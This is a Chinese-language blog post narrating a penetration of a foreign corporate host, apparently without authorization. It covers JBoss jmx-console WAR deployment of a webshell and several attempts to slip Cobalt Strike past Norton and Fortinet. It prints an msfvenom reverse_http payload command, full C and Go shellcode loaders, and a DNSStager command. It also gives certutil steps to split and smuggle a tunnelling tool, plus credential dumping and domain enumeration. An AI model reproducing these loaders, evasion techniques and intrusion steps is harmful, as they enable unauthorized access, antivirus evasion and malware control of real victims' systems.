实战 | 记一次Bypass国外杀毒的主机渗透经历

Delina

原文链接：实战 | 记一次Bypass国外杀毒的主机渗透经历
一、外围入手


拿到ip后先信息收集，扫描端口：
​
8087开放，访问：
​
好，用脚本试试POST：
​
好吧，暂且不管，试试8082：发现
​
这个好，直接jboss，一般可先尝试弱口令后台部署war包，后门文件进行压缩，改名为“.war”：
​
但后台访问发现不存在：
​
那好，试试jmx-console，好的嘛：
​
使用未授权Deploy漏洞：

• 
  

访问150.*.*.*:8082/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.admin:service=DeploymentFileRepository
分别在store后面参数处填写后门war文件名，文件夹名称，后门文件后缀和后门文件内容：
​
点击invoke，访问：
​

二、初步控制
为空白说明后门文件解析成功，使用蚁剑连接：
​
好的嘛，再信息收集一波，ip配置发现存在域：
​
当前用户发现为“.p”结尾，按国外的命名习惯，一半是组长或者经理级别：
​
查看进程有无杀毒，使用tasklist然后进行对比：
​
不得了，竟然有大名鼎鼎的赛门铁克公司的诺顿和飞塔：
​
看来这次棘手了，接下来试试各种免杀手段上线cs。

三：Bypass免杀
3.1 base64加密shellcode加载
参考Tide安全团队的免杀系列，使用base64生成：

• 
  

msfvenom -p  windows/meterpreter/reverse_http --encrypt base64  lhost=1*.1*.7*.3 lport=800  -f c > shell.c

然后在cs开启监听（*.*.*.*为你vps地址）：
​
注意：这里msfconsole唯有windows/meterpreter/reverse_http和windows/meterpreter/reverse_https是对应cs监听器兼容的，区别在于：cs自生成后门首次请求stager连接字符较短，一般为四个字符，如“/t1ny”,msf payload的为很长的字符，但上线不影响。
生成base64加密shellcode后，使用解密加载器：shellcode.c：

1. #include "base64.h"
   
2. unsigned char buf[] ="..你的shellcode";
   
3. int main(int argc, const char * argv[]) {
   
4. char str1[1000] = { 0 };
   
5. Base64decode(str1, buf);
   
6. char *Memory;
   
7. Memory = VirtualAlloc(NULL, sizeof(str1), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
   
8. memcpy(Memory, str1, sizeof(str1));
   
9. ((void(*)())Memory)();
   
10. return 0;
    
11. }

复制代码

base64.c和base64.h可在tide公众号内容中找到，这里暂不列出。

最后gcc shellcode.c base64.c -o test.exe编译，上传：执行即可。

​
test.exe明明上传了：
​
刷新查看直接没了~，没错，诺顿就是这么强。

3.2 go语言加密shellcode执行
好吧，吸取上次直接消失的教训，本地搭建环境进行测试，这次试试go语言的shellcode混淆;
使用cs生成c语言的payload：
​
得到：
​
使用替换功能，将“\”换为：“,0”：
​
最后替换加载器中shellcode_buf = []byte部分内容：

1. package main
   
2. import (
   
3. "io/ioutil"
   
4. "os"
   
5. "syscall"
   
6. "unsafe"
   
7. )
   
8. 
   
9. 
   
10. const (
    
11. MEM_COMMIT             = 0x1000
    
12. MEM_RESERVE            = 0x2000
    
13. PAGE_EXECUTE_READWRITE = 0x40
    
14. )
    
15. var (
    
16. kernel32       = syscall.MustLoadDLL("kernel32.dll")
    
17. ntdll          = syscall.MustLoadDLL("ntdll.dll")
    
18. VirtualAlloc   = kernel32.MustFindProc("VirtualAlloc")
    
19. RtlCopyMemory  = ntdll.MustFindProc("RtlCopyMemory")
    
20. shellcode_buf = []byte{0xfc,0x48,0x83,0xe4,0xf0,………}
    
21. )
    
22. func checkErr(err error) {
    
23. if err != nil {
    
24. if err.Error() != "The operation completed successfully." {
    
25. println(err.Error())
    
26. os.Exit(1)
    
27. }
    
28. }
    
29. }
    
30. func main() {
    
31. shellcode := shellcode_buf
    
32. if len(os.Args) > 1 {
    
33. shellcodeFileData, err := ioutil.ReadFile(os.Args[1])
    
34. checkErr(err)
    
35. shellcode = shellcodeFileData
    
36. }
    
37. addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
    
38. if addr == 0 {
    
39. checkErr(err)
    
40. }
    
41. _, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
    
42. checkErr(err)
    
43. syscall.Syscall(addr, 0, 0, 0, 0)
    
44. }

复制代码

最后在linux环境安装go语言环境，使用命令“CGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build shellcode.go”编译。


最后上传，发现文件未被删除：
​
小心翼翼地去执行一下：
没想到文件本身过了查杀，缺被拦截了访问行为：
​
本地允许后：
​
哇，国外的av和国内的av就是不一样，拦截规则卡的是真的死死的。

3.3 FourEye免杀
再试试比较不错的FourEye ：
地址为：https://github.com/lengjibo/FourEye
使用cs生成raw格式payload后放到linux：
​
根据教程：
​
得到exe上传，执行：
​
发现cs端有stager请求记录，说明已经下载了stager，可以根据stager内容进行执行了。但看本地环境发现依然拦截了后续请求：
​
说明加密执行后门本身没问题了，只是c2 server端可信程度不够，还可试试申请可信域名+c2可信证书+https加密上线了。

3.4 DNStager分离免杀参考文章《实战填坑|CS使用CDN隐藏C2》：https://mp.weixin.qq.com/s/B30Unfh5yAN4A151P1gsMQ
去申请了域名，部署了cdn，重新尝试go加密shellcode和FourEYe之后依然拦截通信请求行为。

最后参考《DNSStager-DNS分离shellcode》：
https://mp.weixin.qq.com/s/bM_rsh8KxXwwyEkbHRTKsw终于成功获取了shell。

首先安装ming-w64，将CDN服务端解析的NS记录添加一个test.*.tk:
​
最后在vps处执行：
python3 dnsstager.py --domain test.*.tk --payload x64/c/ipv6 --output /home/a2.exe --prefix cdn- --shellcode_path /home/DNSStager/payload.bin --sleep 1 --xorkey 0x10

​
上传执行后终于获取：
​
如图：
​
终于可以喘口气，拿下了。

四：简单后渗透
4.1 内网信息收集
cs的自带功能，抓取密码：
​
获取到当前用户密码：
​
查看进程列表，发现其余进程均为低权限和system进程，说明无其他用户在此登录。

既然有域，那就进行一下域内信息收集，发现好像有各种限制:
net group "domain controllers" /domain
查看域控制器：
​
net group "domain admins" /domain
也是如此：
​

4.2 横向尝试
既然本机无其余用户信息，避免动静过大，就不再尝试提权至system了（主要杀软太牛逼），直接上传frp横向信息收集丫的：
​
我滴天？竟然上传失败？猜测是因为使用了CDN+诺顿检测请求太高的数据包，造成回传数据失败。那就换个思路，既然10M体量有问题，就拆分一半，最后再合并，同时避免后缀内容检测问题，先使用certutil编码一下frpc.exe为txt：
​
好家伙，10M直接干到14M，行，问题不大，中间拆分，各自一半：
​
最后的思路是分别本地解码为exe后：

certutil -decode 1.txt 1.exe
certutil -decode 2.txt 2.exe
​
再进行合并：
​
最后本地进行校验，查看文件是否完整：
certutil –hashfile 3.exe MD5

​
是一致的没错，实战环境上传txt：
​
解码：
​
合并后，执行：
​
我要抓狂了，竟然还是不能执行程序，太失败了。

最后整理并总结完成后发现jboss业务已经关闭，下一步的思路使用regorge代理暂时也不可行，只能暂时先放下了。